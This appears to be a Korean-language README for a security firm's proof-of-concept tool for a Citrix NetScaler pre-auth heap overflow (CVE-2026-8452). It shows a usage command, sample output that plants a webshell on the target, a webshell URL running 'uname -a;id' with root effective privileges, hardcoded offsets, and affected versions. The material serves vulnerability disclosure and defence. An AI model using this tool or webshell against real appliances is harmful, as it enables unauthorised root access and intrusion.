
CVE-2026-8452 PreAuth RCE
Citrix NetScaler CVE-2026-8452용 탐지 아티팩트 생성기
기술적 세부 사항은 블로그 게시물을 참조하세요.
python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py
(*) Citrix NetScaler PreAuth 힙 오버플로우 → RCE 탐지 아티팩트 생성기
- watchTowr(@watchTowrcyber)의 Sina Kheirkhah(@SinSinology)
CVEs: [CVE-2026-8452]
[*] 엔드포인트에 연결 중...
[*] 대상 AAA 서비스가 응답함
[*] 셸코드 생성 중
[+] 셸코드 크기: 268바이트
[*] jmp rax를 0x112d30180로 트리거하는 중
[*] 전송됨..
[+] 웹셸 위치: https://172.16.5.12:9443/vpn/theme/x.php?0=uname+-a;id
[+] 웹셸 출력:
FreeBSD something 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 ef731ca813f0(heads/artesa_30_52)-dirty: Wed Aug 24 08:24:55 PDT 2022 root@sjc-bld-bsd114-215:/usr/obj/usr/home/build/adc/usr.src/sys/NS64 amd64
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)
모든 오프셋/주소는 NetScaler 13.1-30.52 버전용으로 하드코딩되어 있습니다.
이 취약점은 NetScaler 어플라이언스가 서비스 제공자(SP) 또는 ID 제공자(IdP)로 SAML을 사용하도록 구성된 경우 도달 가능합니다.
Citrix는 다음 버전이 영향을 받는 것으로 명시합니다:
NetScaler ADC 및 NetScaler Gateway 14.1, 14.1-72.61 이전 버전 NetScaler ADC 및 NetScaler Gateway 13.1, 13.1-63.18 이전 버전
최신 보안 연구를 보려면 watchTowr Labs 팀을 팔로우하세요.